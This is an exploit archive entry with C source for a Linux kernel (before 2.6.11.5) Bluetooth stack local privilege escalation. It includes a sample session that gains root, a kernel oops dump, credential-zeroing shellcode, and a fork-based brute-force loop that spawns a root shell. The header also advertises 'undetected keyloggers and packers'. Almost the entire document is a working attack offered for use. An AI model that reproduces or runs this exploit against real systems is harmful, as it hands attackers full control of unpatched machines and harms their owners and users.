Linux Kernel < 2.6.11.5 - BlueTooth Stack Privilege Escalation

/* LINUX KERNEL < 2.6.11.5 BLUETOOTH STACK LOCAL ROOT EXPLOIT
*
* 19 October 2005

http://backdoored.net
Visit us for Undetected keyloggers and packers.Thanx


h4x0r bluetooth $ id
uid=1000(addicted) gid=100(users) groups=100(users)
h4x0r bluetooth $ 

h4x0r bluetooth $ ./backdoored-bluetooth 
KERNEL Oops. Exit Code = 11.(Segmentation fault)
KERNEL Oops. Exit Code = 11.(Segmentation fault)
KERNEL Oops. Exit Code = 11.(Segmentation fault)
KERNEL Oops. Exit Code = 11.(Segmentation fault)
KERNEL Oops. Exit Code = 11.(Segmentation fault)
Checking the Effective user id after overflow : UID = 0
h4x0r bluetooth # id
uid=0(root) gid=0(root) groups=100(users)
h4x0r bluetooth # 

h4x0r bluetooth # dmesg
PREEMPT SMP 
Modules linked in:
CPU:    0
EIP:    0060:[<c0405ead>]    Not tainted VLI
EFLAGS: 00010286   (2.6.9) 
EIP is at bt_sock_create+0x3d/0x130
eax: ffffffff   ebx: ffebfe34   ecx: 00000000   edx: c051bea0
esi: ffffffa3   edi: ffffff9f   ebp: 00000001   esp: c6729f1c
ds: 007b   es: 007b   ss: 0068
Process backdoored-bluetooth (pid: 8809, threadinfo=c6729000 task=c6728a20)
Stack: cef24e00 0000001f 0000001f c6581680 ffffff9f c039a3bb c6581680 ffebfe34 
       00000001 b8000c80 bffff944 c6729000 c039a58d 0000001f 00000003 ffebfe34 
       c6729f78 00000000 c039a60b 0000001f 00000003 ffebfe34 c6729f78 b8000c80 
Call Trace:
 [<c039a3bb>] __sock_create+0xfb/0x2a0
 [<c039a58d>] sock_create+0x2d/0x40
 [<c039a60b>] sys_socket+0x2b/0x60
 [<c039b4e8>] sys_socketcall+0x68/0x260
 [<c0117a9c>] finish_task_switch+0x3c/0x90
 [<c0117b07>] schedule_tail+0x17/0x50
 [<c0115410>] do_page_fault+0x0/0x5e9
 [<c01031af>] syscall_call+0x7/0xb
Code: 24 0c 89 7c 24 10 83 fb 07 0f 8f b1 00 00 00 8b 04 9d 60 a4 5d c0 85 c0 0f 84 d7 00 00 00 85 c0 be a3 ff ff ff 0f 84 93 00 00 00 <8b> 50 10 bf 01 00 00 00 
85 d2 74 37 b8 00 f0 ff ff 21 e0 ff 40 

*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <unistd.h>
#include <limits.h>
#include <signal.h>
#include <sys/wait.h>

#define KERNEL_SPACE_MEMORY_BRUTE_START 0xc0000000
#define KERNEL_SPACE_MEMORY_BRUTE_END   0xffffffff
#define KERNEL_SPACE_BUFFER 0x100000


char asmcode[] = /*Global shellcode*/

"\xb8\x00\xf0\xff\xff\x31\xc9\x21\xe0\x8b\x10\x89\x8a"
"\x80\x01\x00\x00\x31\xc9\x89\x8a\x7c\x01\x00\x00\x8b"
"\x00\x31\xc9\x31\xd2\x89\x88\x90\x01\x00\x00\x89\x90"
"\x8c\x01\x00\x00\xb8\xff\xff\xff\xff\xc3";



struct net_proto_family {
 int family;
 int (*create) (int *sock, int protocol);
 short authentication;
 short encryption;
 short encrypt_net;
 int   *owner;
 };


int check_zombie_child(int status,pid_t pid)
{
 waitpid(pid,&status,0);
 if(WIFEXITED(status))
  {
  if(WEXITSTATUS(status) != 0xFF)
   exit(-1);  
  }
  else if (WIFSIGNALED(status))
    {
     printf("KERNEL Oops. Exit Code = %d.(%s)\n",WTERMSIG(status),strsignal(WTERMSIG(status)));
     return(WTERMSIG(status));
    }
}


int brute_socket_create (int negative_proto_number)
{
 socket(AF_BLUETOOTH,SOCK_RAW, negative_proto_number); /* overflowing proto number with negative 32bit value */
 int i;
 i = geteuid();
 printf("Checking the Effective user id after overflow : UID = %d\n",i);
if(i)
exit(EXIT_FAILURE);
 printf("0wnage D0ne bro.\n");
 execl("/bin/sh","sh",NULL);
 exit(EXIT_SUCCESS);
}


int main(void)
{

pid_t pid;
int counter;
int status;
int *kernel_return;

char kernel_buffer[KERNEL_SPACE_BUFFER];
unsigned int brute_start;
unsigned int where_kernel;

struct net_proto_family *bluetooth;

bluetooth = (struct net_proto_family *) malloc(sizeof(struct net_proto_family));
bzero(bluetooth,sizeof(struct net_proto_family));

bluetooth->family = AF_BLUETOOTH;
bluetooth->authentication = 0x0;  /* No Authentication */
bluetooth->encryption     = 0x0; /* No Encryption */
bluetooth->encrypt_net    = 0x0;  /* No Encrypt_net */
bluetooth->owner          = 0x0;  /* No fucking owner   */
bluetooth->create         = (int *) asmcode;



kernel_return = (int *) kernel_buffer;

for( counter = 0; counter < KERNEL_SPACE_BUFFER; counter+=4, kernel_return++)
   *kernel_return = (int)bluetooth;

brute_start =  KERNEL_SPACE_MEMORY_BRUTE_START;
printf("Bluetooth stack local root exploit\n");
printf("http://backdoored/net");

while ( brute_start < KERNEL_SPACE_MEMORY_BRUTE_END )
 {
   where_kernel = (brute_start - (unsigned int)&kernel_buffer) / 0x4 ;
   where_kernel = -where_kernel;

   pid = fork();
   if(pid == 0 )
   brute_socket_create(where_kernel);
   check_zombie_child(status,pid);
   brute_start += KERNEL_SPACE_BUFFER;
   fflush(stdout);
}
return 0;
}

// milw0rm.com [2007-12-18]